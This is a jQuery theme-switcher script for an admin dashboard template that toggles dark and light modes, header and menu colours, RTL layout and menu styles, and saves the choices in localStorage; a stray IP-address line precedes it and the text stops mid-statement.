Your IP : 18.191.223.195
(function($) {
"use strict";
// ______________ SWITCHER-toggle ______________//
$('.layout-setting').on("click", function(e) {
if (!(document.querySelector('body').classList.contains('dark-mode'))) {
$('body').addClass('dark-mode');
$('body').removeClass('light-mode');
$('body')?.removeClass('color-menu');
$('body')?.removeClass('gradient-menu');
$('body')?.removeClass('light-menu');
$('body')?.removeClass('color-header');
$('body')?.removeClass('gradient-header');
$('body')?.removeClass('light-header');
$('#myonoffswitch10').prop('checked', true);
$('#myonoffswitch14').prop('checked', true);
localStorage.setItem('zanexdarkMode', true);
localStorage.removeItem('zanexlightMode');
$('#myonoffswitch7').prop('checked', true);
} else {
$('body').removeClass('dark-mode');
$('body').addClass('light-mode');
$('#myonoffswitch8').prop('checked', true);
$('#myonoffswitch12').prop('checked', true);
localStorage.setItem('zanexlightMode', true);
localStorage.removeItem('zanexdarkMode');
$('#myonoffswitch6').prop('checked', true);
}
localStorageBackup();
checkOptions();
});
/*Light Theme Start*/
$(document).on("click", '#myonoffswitch6', function () {
if (this.checked) {
$('body').addClass('light-mode');
$('#myonoffswitch8').prop('checked', true);
$('#myonoffswitch12').prop('checked', true);
$('body').removeClass('dark-mode');
$('body')?.removeClass('color-menu');
$('body')?.removeClass('gradient-menu');
$('body')?.removeClass('dark-menu');
$('body')?.removeClass('color-header');
$('body')?.removeClass('gradient-header');
$('body')?.removeClass('dark-header');
localStorage.setItem("zanexlightMode", "true");
localStorage.removeItem("zanexdarkMode");
$('#myonoffswitch6').prop('checked', true);
$('#myonoffswitch7').prop('checked', false);
checkOptions();
const root = document.querySelector(':root');
root.style = "";
names()
}
localStorageBackup();
checkOptions();
});
/*Light Theme End*/
/*Dark Theme Start*/
$(document).on("click", '#myonoffswitch7', function () {
if (this.checked) {
$('body').addClass('dark-mode');
$('#myonoffswitch10').prop('checked', true);
$('#myonoffswitch14').prop('checked', true);
$('body').removeClass('light-mode');
$('body')?.removeClass('color-menu');
$('body')?.removeClass('gradient-menu');
$('body')?.removeClass('light-menu');
$('body')?.removeClass('color-header');
$('body')?.removeClass('gradient-header');
$('body')?.removeClass('light-header');
localStorage.setItem("zanexdarkMode", true);
localStorage.removeItem("zanexlightMode");
$("#myonoffswitch7").prop("checked", true);
$("#myonoffswitch6").prop("checked", false);
checkOptions();
const root = document.querySelector(':root');
root.style = "";
names()
}
localStorageBackup()
checkOptions();
});
/*Dark Theme End*/
/*Light Header Start*/
$(document).on("click", '#myonoffswitch8', function () {
if (this.checked) {
$('body').addClass('light-header');
$('body').removeClass('color-header');
$('body').removeClass('dark-header');
$('body').removeClass('gradient-header');
localStorage.setItem("zanexLightheader", true);
localStorage.removeItem("zanexDarkheader");
localStorage.removeItem("zanexGradientheader");
localStorage.removeItem("zanexColorheader");
} else {
$('body').removeClass('light-header');
}
});
/*Light Header End*/
/*Color Header Start*/
$(document).on("click", '#myonoffswitch9', function () {
if (this.checked) {
$('body').addClass('color-header');
$('body').removeClass('light-header');
$('body').removeClass('dark-header');
$('body').removeClass('gradient-header');
localStorage.setItem("zanexColorheader", true);
localStorage.removeItem("zanexDarkheader");
localStorage.removeItem("zanexGradientheader");
localStorage.removeItem("zanexLightheader");
} else {
$('body').removeClass('color-header');
}
});
/*Color Header End*/
/*Dark Header Start*/
$(document).on("click", '#myonoffswitch10', function () {
if (this.checked) {
$('body').addClass('dark-header');
$('body').removeClass('color-header');
$('body').removeClass('light-header');
$('body').removeClass('gradient-header');
localStorage.setItem("zanexDarkheader", true);
localStorage.removeItem("zanexColorheader");
localStorage.removeItem("zanexGradientheader");
localStorage.removeItem("zanexLightheader");
} else {
$('body').removeClass('dark-header');
}
});
/*Dark Header End*/
/*Gradient Header Start*/
$(document).on("click", '#myonoffswitch11', function () {
if (this.checked) {
$('body').addClass('gradient-header');
$('body').removeClass('color-header');
$('body').removeClass('light-header');
$('body').removeClass('dark-header');
localStorage.setItem("zanexGradientheader", true);
localStorage.removeItem("zanexColorheader");
localStorage.removeItem("zanexDarkheader");
localStorage.removeItem("zanexLightheader");
} else {
$('body').removeClass('gradient-header');
}
});
/*Dark Header End*/
/*Light LeftMenu Start*/
$(document).on("click", '#myonoffswitch12', function () {
if (this.checked) {
$('body').addClass('light-menu');
$('body').removeClass('color-menu');
$('body').removeClass('dark-menu');
$('body').removeClass('gradient-menu');
localStorage.setItem("zanexLightmenu", true);
localStorage.removeItem("zanexDarkmenu");
localStorage.removeItem("zanexGradientmenu");
localStorage.removeItem("zanexColormenu");
} else {
$('body').removeClass('light-menu');
}
});
/*Light LeftMenu End*/
/*Color LeftMenu Start*/
$(document).on("click", '#myonoffswitch13', function () {
if (this.checked) {
$('body').addClass('color-menu');
$('body').removeClass('light-menu');
$('body').removeClass('dark-menu');
$('body').removeClass('gradient-menu');
localStorage.setItem("zanexColormenu", true);
localStorage.removeItem("zanexDarkmenu");
localStorage.removeItem("zanexGradientmenu");
localStorage.removeItem("zanexLightmenu");
localStorage.removeItem("zanexthemestyle");
} else {
$('body').removeClass('color-menu');
}
});
/*Color LeftMenu End*/
/*Dark LeftMenu Start*/
$(document).on("click", '#myonoffswitch14', function () {
if (this.checked) {
$('body').addClass('dark-menu');
$('body').removeClass('color-menu');
$('body').removeClass('light-menu');
$('body').removeClass('gradient-menu');
localStorage.setItem("zanexDarkmenu", true);
localStorage.removeItem("zanexColormenu");
localStorage.removeItem("zanexGradientmenu");
localStorage.removeItem("zanexLightmenu");
} else {
$('body').removeClass('dark-menu');
}
});
/*Dark LeftMenu End*/
/*Gradient LeftMenu Start*/
$(document).on("click", '#myonoffswitch15', function () {
if (this.checked) {
$('body').addClass('gradient-menu');
$('body').removeClass('color-menu');
$('body').removeClass('light-menu');
$('body').removeClass('dark-menu');
localStorage.setItem("zanexGradientmenu", true);
localStorage.removeItem("zanexColormenu");
localStorage.removeItem("zanexDarkmenu");
localStorage.removeItem("zanexLightmenu");
} else {
$('body').removeClass('gradient-menu');
}
});
/*Gradient LeftMenu End*/
/*Full Width Layout Start*/
$('#myonoffswitch16').click(function () {
if (this.checked) {
$('body').addClass('layout-fullwidth');
$('body').removeClass('layout-boxed');
if (document.querySelector('body').classList.contains('horizontal') && !document.querySelector('body').classList.contains('login-img')) {
checkHoriMenu();
}
localStorage.setItem("zanexfullwidth", true);
localStorage.removeItem("zanexboxedwidth");
}
});
/*Full Width Layout End*/
/*Boxed Layout Start*/
$('#myonoffswitch17').click(function () {
if (this.checked) {
$('body').addClass('layout-boxed');
$('body').removeClass('layout-fullwidth');
if(document.querySelector('body').classList.contains('login-img') !== true){
checkHoriMenu();
responsive();
}
localStorage.setItem("zanexboxedwidth", true);
localStorage.removeItem("zanexfullwidth");
}
});
/*Boxed Layout End*/
/*Header-Position Styles Start*/
$('#myonoffswitch18').click(function () {
if (this.checked) {
$('body').addClass('fixed-layout');
$('body').removeClass('scrollable-layout');
localStorage.setItem("zanexfixed", true);
localStorage.removeItem("zanexscrollable");
}
});
$('#myonoffswitch19').click(function () {
if (this.checked) {
$('body').addClass('scrollable-layout');
$('body').removeClass('fixed-layout');
localStorage.setItem("zanexscrollable", true);
localStorage.removeItem("zanexfixed");
}
});
/*Header-Position Styles End*/
/*Default Sidemenu Start*/
$(document).on("click", '#myonoffswitch20', function () {
if (this.checked) {
$('body').addClass('default-menu');
$('body').removeClass('sidenav-toggled');
// hovermenu();
$('body').removeClass('icontext-menu');
$('body').removeClass('icon-overlay');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('hover-submenu');
$('body').removeClass('hover-submenu1');
localStorage.setItem("zanexdefaultmenu", true);
localStorage.removeItem("zanexclosedmenu");
localStorage.removeItem("zanexicontextmenu");
localStorage.removeItem("zanexiconoverlay");
localStorage.removeItem("zanexhoversubmenu");
localStorage.removeItem("zanexhoversubmenu1");
}
});
/*Default Sidemenu End*/
/*Icon Overlay Sidemenu Start*/
$('#myonoffswitch21').click(function () {
if (this.checked) {
$('body').addClass('icon-overlay');
// hovermenu();
$('body').addClass('sidenav-toggled');
$('body').removeClass('default-menu');
$('body').removeClass('icontext-menu');
$('body').removeClass('hover-submenu1');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('hover-submenu');
localStorage.setItem("zanexiconoverlay", true);
localStorage.removeItem("zanexdefaultmenu");
localStorage.removeItem("zanexclosedmenu");
localStorage.removeItem("zanexicontextmenu");
localStorage.removeItem("zanexhoversubmenu");
localStorage.removeItem("zanexhoversubmenu1");
if(document.querySelector('body').classList.contains('login-img') !== true){
hovermenu();
}
}
});
/*Icon Overlay Sidemenu End*/
/*Icon Text Sidemenu Start*/
$('#myonoffswitch22').click(function () {
if (this.checked) {
$('body').addClass('icontext-menu');
// icontext();
$('body').addClass('sidenav-toggled');
$('body').removeClass('icon-overlay');
$('body').removeClass('default-menu');
$('body').removeClass('hover-submenu1');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('hover-submenu');
localStorage.setItem("zanexicontextmenu", true);
localStorage.removeItem("zanexdefaultmenu");
localStorage.removeItem("zanexclosedmenu");
localStorage.removeItem("zanexiconoverlay");
localStorage.removeItem("zanexhoversubmenu");
localStorage.removeItem("zanexhoversubmenu1");
if(document.querySelector('body').classList.contains('login-img') !== true){
icontext();
}
}
});
/*Icon Text Sidemenu End*/
/*Closed Sidemenu Start*/
$('#myonoffswitch23').click(function () {
if (this.checked) {
$('body').addClass('closed-leftmenu');
$('body').addClass('sidenav-toggled');
$('body').removeClass('default-menu');
$('body').removeClass('hover-submenu1');
$('body').removeClass('hover-submenu');
$('body').removeClass('icon-overlay');
$('body').removeClass('icontext-menu');
localStorage.setItem("zanexclosedmenu", true);
localStorage.removeItem("zanexdefaultmenu");
localStorage.removeItem("zanexicontextmenu");
localStorage.removeItem("zanexiconoverlay");
localStorage.removeItem("zanexhoversubmenu");
localStorage.removeItem("zanexhoversubmenu1");
}
});
/*Closed Sidemenu End*/
/*Hover Submenu Start*/
$('#myonoffswitch24').click(function () {
if (this.checked) {
$('body').addClass('hover-submenu');
// hovermenu();
$('body').addClass('sidenav-toggled');
$('body').removeClass('hover-submenu1');
$('body').removeClass('default-menu');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('icon-overlay');
$('body').removeClass('icontext-menu');
$('.app-sidebar').removeClass('sidemenu-scroll');
localStorage.setItem("zanexhoversubmenu", true);
localStorage.removeItem("zanexdefaultmenu");
localStorage.removeItem("zanexclosedmenu");
localStorage.removeItem("zanexicontextmenu");
localStorage.removeItem("zanexiconoverlay");
localStorage.removeItem("zanexhoversubmenu1");
if(document.querySelector('body').classList.contains('login-img') !== true){
hovermenu();
}
}
});
/*Hover Submenu End*/
/*Hover Submenu Style 1 Start*/
$('#myonoffswitch25').click(function () {
if (this.checked) {
$('body').addClass('hover-submenu1');
// hovermenu();
$('body').addClass('sidenav-toggled');
$('body').removeClass('hover-submenu');
$('body').removeClass('default-menu');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('icon-overlay');
$('body').removeClass('icontext-menu');
$('.app-sidebar').removeClass('sidemenu-scroll');
localStorage.setItem("zanexhoversubmenu1", true);
localStorage.removeItem("zanexdefaultmenu");
localStorage.removeItem("zanexclosedmenu");
localStorage.removeItem("zanexicontextmenu");
localStorage.removeItem("zanexiconoverlay");
localStorage.removeItem("zanexhoversubmenu");
if(document.querySelector('body').classList.contains('login-img') !== true){
hovermenu();
}
}
});
/*Hover Submenu Style 1 End*/
})(jQuery);
$(function () {
/***************** Horizontal HAs Class START *********************/
let bodyhorizontal = $('body').hasClass('horizontal');
if (bodyhorizontal) {
if(window.innerWidth>=992){
let li = document.querySelectorAll('.side-menu li')
li.forEach((e, i) => {
e.classList.remove('is-expanded')
})
var animationSpeed = 300;
// first level
var parent = $("[data-bs-toggle='sub-slide']").parents('ul');
var ul = parent.find('ul:visible').slideUp(animationSpeed);
ul.removeClass('open');
var parent1 = $("[data-bs-toggle='sub-slide2']").parents('ul');
var ul1 = parent1.find('ul:visible').slideUp(animationSpeed);
ul1.removeClass('open');
}
$('body').addClass('horizontal');
$(".main-content").addClass("hor-content");
$(".main-content").removeClass("app-content");
$(".main-container").addClass("container");
$(".main-container").removeClass("container-fluid");
$(".app-header").addClass("hor-header");
$(".hor-header").removeClass("app-header");
$(".app-sidebar").addClass("horizontal-main")
$(".main-sidemenu").addClass("container")
$('body').removeClass('sidebar-mini');
$('body').removeClass('sidenav-toggled');
$('body').removeClass('horizontal-hover');
$('body').removeClass('default-menu');
$('body').removeClass('icontext-menu');
$('body').removeClass('icon-overlay');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('hover-submenu');
$('body').removeClass('hover-submenu1');
// // To enable no-wrap horizontal style
$('#slide-left').removeClass('d-none');
$('#slide-right').removeClass('d-none');
document.querySelector('.horizontal .side-menu')?.classList.add('flex-nowrap');
// To enable wrap horizontal style
// $('#slide-left').addClass('d-none');
// $('#slide-right').addClass('d-none');
// document.querySelector('.horizontal .side-menu')?.classList.add('flex-wrap');
}
/***************** Horizontal HAs Class END *********************/
/***************** Horizontal Hover HAs Class START *********************/
let bodyhorizontalHover = $('body').hasClass('horizontal-hover');
if (bodyhorizontalHover) {
if(window.innerWidth>=992){
let li = document.querySelectorAll('.side-menu li')
li.forEach((e, i) => {
e.classList.remove('is-expanded')
})
var animationSpeed = 300;
// first level
var parent = $("[data-bs-toggle='sub-slide']").parents('ul');
var ul = parent.find('ul:visible').slideUp(animationSpeed);
ul.removeClass('open');
var parent1 = $("[data-bs-toggle='sub-slide2']").parents('ul');
var ul1 = parent1.find('ul:visible').slideUp(animationSpeed);
ul1.removeClass('open');
}
$('body').addClass('horizontal-hover');
$('body').addClass('horizontal');
// $('#slide-left').addClass('d-none');
// $('#slide-right').addClass('d-none');
//document.querySelector('.horizontal .side-menu')?.classList.add('flex-wrap');
$('#slide-left').addClass('d-none');
$('#slide-right').addClass('d-none');
document.querySelector('.horizontal .side-menu')?.classList.add('flex-nowrap');
$(".main-content").addClass("hor-content");
$(".main-content").removeClass("app-content");
$(".main-container").addClass("container");
$(".main-container").removeClass("container-fluid");
$(".app-header").addClass("hor-header");
$(".app-header").removeClass("app-header");
$(".app-sidebar").addClass("horizontal-main")
$(".main-sidemenu").addClass("container")
$('body').removeClass('sidebar-mini');
$('body').removeClass('sidenav-toggled');
$('body').removeClass('default-menu');
$('body').removeClass('icontext-menu');
$('body').removeClass('icon-overlay');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('hover-submenu');
$('body').removeClass('hover-submenu1');
// checkHoriMenu();
// responsive();
}
/***************** Horizontal Hover HAs Class END *********************/
/***************** RTL HAs Class START *********************/
let bodyRtl = $('body').hasClass('rtl');
if (bodyRtl) {
$('body').addClass('rtl');
$('#slide-left').removeClass('d-none');
$('#slide-right').removeClass('d-none');
$("html[lang=en]").attr("dir", "rtl");
$(".select2-container").attr("dir", "rtl");
$("head link#style").attr("href", $(this));
$('body').removeClass('ltr');
(document.getElementById("style").setAttribute("href", "../assets/plugins/bootstrap/css/bootstrap.rtl.min.css"));
var carousel = $('.owl-carousel');
$.each(carousel, function (index, element) {
// element == this
var carouselData = $(element).data('owl.carousel');
carouselData.settings.rtl = true; //don't know if both are necessary
carouselData.options.rtl = true;
$(element).trigger('refresh.owl.carousel');
});
}
/***************** RTL HAs Class END *********************/
/***************** CLOSEDMENU HAs Class *********************/
let bodyclosed = $('body').hasClass('closed-leftmenu');
if (bodyclosed) {
$('body').addClass('closed-leftmenu');
$('body').addClass('sidenav-toggled');
if(document.querySelector('body').classList.contains('login-img') !== true){
hovermenu();
}
}
/***************** CLOSEDMENU HAs Class *********************/
/***************** ICONTEXT MENU HAs Class *********************/
let bodyicontext = $('body').hasClass('icontext-menu');
if (bodyicontext) {
$('body').addClass('icontext-menu');
$('body').addClass('sidenav-toggled');
if(document.querySelector('body').classList.contains('login-img') !== true){
icontext();
}
}
/***************** ICONTEXT MENU HAs Class *********************/
/***************** ICONOVERLAY MENU HAs Class *********************/
let bodyiconoverlay = $('body').hasClass('icon-overlay');
if (bodyiconoverlay) {
$('body').addClass('icon-overlay');
$('body').addClass('sidenav-toggled');
if(document.querySelector('body').classList.contains('login-img') !== true){
hovermenu();
}
}
/***************** ICONOVERLAY MENU HAs Class *********************/
/***************** HOVER-SUBMENU HAs Class *********************/
let bodyhover = $('body').hasClass('hover-submenu');
if (bodyhover) {
$('body').addClass('hover-submenu');
$('body').addClass('sidenav-toggled');
if(document.querySelector('body').classList.contains('login-img') !== true){
hovermenu();
}
}
/***************** HOVER-SUBMENU HAs Class *********************/
/***************** HOVER-SUBMENU HAs Class *********************/
let bodyhover1 = $('body').hasClass('hover-submenu1');
if (bodyhover1) {
$('body').addClass('hover-submenu1');
$('body').addClass('sidenav-toggled');
if(document.querySelector('body').classList.contains('login-img') !== true){
hovermenu();
}
}
/***************** HOVER-SUBMENU HAs Class *********************/
});
// RTL STYLE START
$(document).on("click", '#myonoffswitch5', function () {
if (this.checked) {
$('body').addClass('rtl');
$('#slide-left').removeClass('d-none');
$('#slide-right').removeClass('d-none');
$("html[lang=en]").attr("dir", "rtl");
$('body').removeClass('ltr');
$("head link#style").attr("href", $(this));
$(".select2-container").attr("dir", "rtl");
(document.getElementById("style").setAttribute("href", "../assets/plugins/bootstrap/css/bootstrap.rtl.min.css"));
var carousel = $('.owl-carousel');
$.each(carousel, function (index, element) {
// element == this
var carouselData = $(element).data('owl.carousel');
carouselData.settings.rtl = true; //don't know if both are necessary
carouselData.options.rtl = true;
$(element).trigger('refresh.owl.carousel');
});
localStorage.setItem('zanexrtl', true)
localStorage.removeItem('zanexltr')
}
});
// RTL STYLE END
// LTR STYLE START
$(document).on("click", '#myonoffswitch4', function () {
if (this.checked) {
$('body').addClass('ltr');
$('#slide-left').removeClass('d-none');
$('#slide-right').removeClass('d-none');
$("html[lang=en]").attr("dir", "ltr");
$('body').removeClass('rtl');
$("head link#style").attr("href", $(this));
$(".select2-container").attr("dir", "ltr");
(document.getElementById("style").setAttribute("href", "../assets/plugins/bootstrap/css/bootstrap.min.css"));
var carousel = $('.owl-carousel');
$.each(carousel, function (index, element) {
// element == this
var carouselData = $(element).data('owl.carousel');
carouselData.settings.rtl = false; //don't know if both are necessary
carouselData.options.rtl = false;
$(element).trigger('refresh.owl.carousel');
});
localStorage.setItem('zanexltr', true)
localStorage.removeItem('zanexrtl')
}
});
// LTR STYLE END
//vertical
$(document).on("click", '#myonoffswitch1', function () {
if (this.checked) {
ActiveSubmenu();
$('body').removeClass('horizontal');
$('body').removeClass('horizontal-hover');
$(".main-content").removeClass("hor-content");
$(".main-content").addClass("app-content");
$(".main-container").removeClass("container");
$(".main-container").addClass("container-fluid");
$(".app-header").removeClass("hor-header");
$(".hor-header").addClass("app-header");
$(".app-sidebar").removeClass("horizontal-main")
$(".main-sidemenu").removeClass("container")
$('#slide-left').removeClass('d-none');
$('#slide-right').removeClass('d-none');
$('body').addClass('sidebar-mini');
localStorage.removeItem("zanexhorizontal");
localStorage.removeItem("zanexhorizontalHover");
// localStorage.setItem("sidebar-mini", "True");
responsive();
if(!(document.querySelector('.icontext-menu')!== null)){
hovermenu();
}
} else {
$('body').removeClass('sidebar-mini');
localStorage.setItem("zanexsidebar-mini", "False");
}
});
// HORIZONTAL
$(document).on("click", '#myonoffswitch2', function () {
if (this.checked) {
if( !document.querySelector('.login-img') ){
ActiveSubmenu();
checkHoriMenu();
responsive();
}
if(window.innerWidth>=992){
let li = document.querySelectorAll('.side-menu li')
li.forEach((e, i) => {
e.classList.remove('is-expanded')
})
var animationSpeed = 300;
// first level
var parent = $("[data-bs-toggle='sub-slide']").parents('ul');
var ul = parent.find('ul:visible').slideUp(animationSpeed);
ul.removeClass('open');
var parent1 = $("[data-bs-toggle='sub-slide2']").parents('ul');
var ul1 = parent1.find('ul:visible').slideUp(animationSpeed);
ul1.removeClass('open');
}
checkHoriMenu();
$('body').addClass('horizontal');
$(".main-content").addClass("hor-content");
$(".main-content").removeClass("app-content");
$(".main-container").addClass("container");
$(".main-container").removeClass("container-fluid");
$(".app-header").addClass("hor-header");
$(".hor-header").removeClass("app-header");
$(".app-sidebar").addClass("horizontal-main")
$(".main-sidemenu").addClass("container")
$('body').removeClass('sidebar-mini');
$('body').removeClass('sidenav-toggled');
$('body').removeClass('horizontal-hover');
$('body').removeClass('default-menu');
$('body').removeClass('icontext-menu');
$('body').removeClass('icon-overlay');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('hover-submenu');
$('body').removeClass('hover-submenu1');
// // To enable no-wrap horizontal style
$('#slide-left').removeClass('d-none');
$('#slide-right').removeClass('d-none');
localStorage.setItem("zanexhorizontal", "true");
localStorage.removeItem("zanexsidebarMini");
localStorage.removeItem("zanexhorizontalHover");
document.querySelector('.horizontal .side-menu')?.classList.add('flex-nowrap');
// To enable wrap horizontal style
// $('#slide-left').addClass('d-none');
// $('#slide-right').addClass('d-none');
//document.querySelector('.horizontal .side-menu')?.classList.add('flex-wrap');
}
else {
$('body').removeClass('horizontal');
localStorage.setItem("zanexhorizontal", "false");
}
});
// HORIZONTAL END
// HORIZONTAL HOVER
$(document).on("click", '#myonoffswitch111', function () {
if (this.checked) {
if( !document.querySelector('.login-img') ){
checkHoriMenu();
responsive();
}
if(window.innerWidth>=992){
let li = document.querySelectorAll('.side-menu li')
li.forEach((e, i) => {
e.classList.remove('is-expanded')
})
var animationSpeed = 300;
// first level
var parent = $("[data-bs-toggle='sub-slide']").parents('ul');
var ul = parent.find('ul:visible').slideUp(animationSpeed);
ul.removeClass('open');
var parent1 = $("[data-bs-toggle='sub-slide2']").parents('ul');
var ul1 = parent1.find('ul:visible').slideUp(animationSpeed);
ul1.removeClass('open');
}
$('body').addClass('horizontal-hover');
$('body').addClass('horizontal');
// $('#slide-left').addClass('d-none');
// $('#slide-right').addClass('d-none');
//document.querySelector('.horizontal .side-menu')?.classList.add('flex-wrap');
$('#slide-left').addClass('d-none');
$('#slide-right').addClass('d-none');
document.querySelector('.horizontal .side-menu')?.classList.add('flex-nowrap');
$(".main-content").addClass("hor-content");
$(".main-content").removeClass("app-content");
$(".main-container").addClass("container");
$(".main-container").removeClass("container-fluid");
$(".app-header").addClass("hor-header");
$(".app-header").removeClass("app-header");
$(".app-sidebar").addClass("horizontal-main")
$(".main-sidemenu").addClass("container")
$('body').removeClass('sidebar-mini');
$('body').removeClass('sidenav-toggled');
$('body').removeClass('default-menu');
$('body').removeClass('icontext-menu');
$('body').removeClass('icon-overlay');
$('body').removeClass('closed-leftmenu');
$('body').removeClass('hover-submenu');
$('body').removeClass('hover-submenu1');
localStorage.setItem("zanexhorizontalHover", "true");
localStorage.removeItem("zanexsidebarMini");
localStorage.removeItem("zanexhorizontal");
}
});
// HORIZONTAL HOVER END
function checkOptions() {
// dark-theme
if (document.querySelector('body').classList.contains('dark-mode')) {
$('#myonoffswitch7').prop('checked', true);
}
// light-theme
if (document.querySelector('body').classList.contains('light-mode')) {
$('#myonoffswitch6').prop('checked', true);
}
// rtl
if (document.querySelector('body').classList.contains('rtl')) {
$('#myonoffswitch5').prop('checked', true);
}
// horizontal
if (document.querySelector('body').classList.contains('horizontal')) {
$('#myonoffswitch2').prop('checked', true);
}
// horizontal-hover
if (document.querySelector('body').classList.contains('horizontal-hover')) {
$('#myonoffswitch111').prop('checked', true);
}
// light header
if (document.querySelector('body').classList.contains('light-header')) {
$('#myonoffswitch8').prop('checked', true);
}
// color header
if (document.querySelector('body').classList.contains('color-header')) {
$('#myonoffswitch9').prop('checked', true);
}
// gradient header
if (document.querySelector('body').classList.contains('gradient-header')) {
$('#myonoffswitch11').prop('checked', true);
}
// dark header
if (document.querySelector('body').classList.contains('dark-header')) {
$('#myonoffswitch10').prop('checked', true);
}
// light menu
if (document.querySelector('body').classList.contains('light-menu')) {
$('#myonoffswitch12').prop('checked', true);
}
// color menu
if (document.querySelector('body').classList.contains('color-menu')) {
$('#myonoffswitch13').prop('checked', true);
}
// gradient menu
if (document.querySelector('body').classList.contains('gradient-menu')) {
$('#myonoffswitch15').prop('checked', true);
}
// dark menu
if (document.querySelector('body').classList.contains('dark-menu')) {
$('#myonoffswitch14').prop('checked', true);
}
// Icon-Text-Menu
if (document.querySelector('body').classList.contains('icontext-menu')) {
$('#myonoffswitch22').prop('checked', true);
}
// closed menu
if (document.querySelector('body').classList.contains('closed-leftmenu')) {
$('#myonoffswitch23').prop('checked', true);
}
// icon-overlay menu
if (document.querySelector('body').classList.contains('icon-overlay')) {
$('#myonoffswitch21').prop('checked', true);
}
// hover-submenu menu
if (document.querySelector('body').classList.contains('hover-submenu')) {
$('#myonoffswitch24').prop('checked', true);
}
// hover-submenu1 menu
if (document.querySelector('body').classList.contains('hover-submenu1')) {
$('#myonoffswitch25').prop('checked', true);
}
// layout-boxed
if (document.querySelector('body').classList.contains('layout-boxed')) {
$('#myonoffswitch17').prop('checked', true);
}
// scrollable-layout
if (document.querySelector('body').classList.contains('scrollable-layout')) {
$('#myonoffswitch19').prop('checked', true);
}
}
checkOptions();
function resetData() {
$('#myonoffswitch3').prop('checked', true);
$('#myonoffswitch6').prop('checked', true);
$('#myonoffswitch4').prop('checked', true);
$('#myonoffswitch1').prop('checked', true);
$('#myonoffswitch8').prop('checked', true);
$('#myonoffswitch5').prop('checked', false);
$('#myonoffswitch10').prop('checked', false);
$('#myonoffswitch9').prop('checked', false);
$('#myonoffswitch11').prop('checked', false);
$('#myonoffswitch12').prop('checked', true);
$('#myonoffswitch13').prop('checked', false);
$('#myonoffswitch14').prop('checked', false);
$('#myonoffswitch15').prop('checked', false);
$('#myonoffswitch16').prop('checked', true);
$('#myonoffswitch17').prop('checked', false);
$('#myonoffswitch18').prop('checked', true);
$('body')?.removeClass('dark-mode');
$('body')?.removeClass('dark-menu');
$('body')?.removeClass('color-menu');
$('body')?.removeClass('gradient-menu');
$('body')?.removeClass('dark-header');
$('body')?.removeClass('color-header');
$('body')?.removeClass('gradient-header');
$('body')?.removeClass('layout-boxed');
$('body')?.removeClass('icontext-menu');
$('body')?.removeClass('icon-overlay');
$('body')?.removeClass('closed-leftmenu');
$('body')?.removeClass('hover-submenu');
$('body')?.removeClass('hover-submenu1');
$('body')?.removeClass('sidenav-toggled');
$('body')?.removeClass('scrollable-layout');
$('body')?.removeClass('rtl');
$('body')?.addClass('ltr');
document.querySelector('html').setAttribute("dir","ltr");
$(".select2-container").attr("dir", "ltr");
// resetting horizontal to vertical
$('body').removeClass('horizontal');
$('body').removeClass('horizontal-hover');
$(".main-content").removeClass("hor-content");
$(".main-content").addClass("app-content");
$(".main-container").removeClass("container");
$(".main-container").addClass("container-fluid");
$(".app-header").removeClass("hor-header");
$(".hor-header").addClass("app-header");
$(".app-sidebar").removeClass("horizontal-main")
$(".app-sidebar").removeClass("fixed-header")
$(".main-sidemenu").removeClass("container")
$(".slide-menu").removeClass("ps")
$(".slide-menu").removeClass("ps--active-y")
$('#slide-left').removeClass('d-none');
$('#slide-right').removeClass('d-none');
$('body').addClass('sidebar-mini');
$("head link#style").attr("href", $(this));
(document.getElementById("style").setAttribute("href", "../assets/plugins/bootstrap/css/bootstrap.min.css"));
}
checkOptions()
/***************** Add Switcher Classes *********************/
//LTR & RTL
if (!localStorage.getItem('zanexrtl') && !localStorage.getItem('zanexltr')) {
/***************** RTL *********************/
// $('body').addClass('rtl');
/***************** RTL *********************/
/***************** LTR *********************/
// $('body').addClass('ltr');
// $('body').removeClass('rtl');
/***************** LTR *********************/
}
//Light-mode & Dark-mode
if (!localStorage.getItem('zanexlightMode') && !localStorage.getItem('zanexdarkMode')) {
/***************** Light THEME *********************/
// $('body').addClass('light-mode');
/***************** Light THEME *********************/
/***************** DARK THEME *********************/
// $('body').addClass('dark-mode');
// $('body').removeClass('light-mode');
/***************** Dark THEME *********************/
}
//Vertical-menu & Horizontal-menu
if (!localStorage.getItem('zanexvertical') && !localStorage.getItem('zanexhorizontal') && !localStorage.getItem('zanexhorizontalHover')) {
/* Horizontal Click Menu Start */
// $('body').addClass('horizontal');
/*Horizontal Click Menu End */
/***************** Horizontal Hover Menu *********************/
// $('body').addClass('horizontal-hover');
/***************** Horizontal Hover Menu *********************/
}
//Vertical Layout Style
if (!localStorage.getItem('zanexdefaultmenu') && !localStorage.getItem('zanexclosedmenu') && !localStorage.getItem('zanexicontextmenu')&& !localStorage.getItem('zanexsideiconmenu')&& !localStorage.getItem('zanexhoversubmenu')&& !localStorage.getItem('zanexhoversubmenu1')) {
/**Default-Menu**/
// $('body').addClass('default-menu');
// hovermenu();
/**Default-Menu**/
/**closed-Menu**/
// $('body').addClass('closed-leftmenu');
// $('body').addClass('sidenav-toggled');
/**closed-Menu**/
/**Icon-Text-Menu**/
// $('body').addClass('icontext-menu');
// $('body').addClass('sidenav-toggled');
// if(document.querySelector('body').classList.contains('login-img') !== true){
// icontext();
// }
/**Icon-Text-Menu**/
/**Icon-Overlay-Menu**/
// $('body').addClass('icon-overlay');
// $('body').addClass('sidenav-toggled');
// if(document.querySelector('body').classList.contains('login-img') !== true){
// hovermenu();
// }
/**Icon-Overlay-Menu**/
/**Hover-Sub-Menu**/
// $('body').addClass('hover-submenu');
// $('body').addClass('sidenav-toggled');
// if(document.querySelector('body').classList.contains('login-img') !== true){
// hovermenu();
// }
/**Hover-Sub-Menu**/
/**Hover-Sub-Menu1**/
// $('body').addClass('hover-submenu1');
// $('body').addClass('sidenav-toggled');
// if(document.querySelector('body').classList.contains('login-img') !== true){
// hovermenu();
// }
/**Hover-Sub-Menu1**/
}
//Boxed Layout Style
if (!localStorage.getItem('zanexfullwidth') && !localStorage.getItem('zanexboxedwidth')) {
// $('body').addClass('layout-boxed');
}
//Scrollable-Layout Style
if (!localStorage.getItem('zanexfixed') && !localStorage.getItem('zanexscrollable')) {
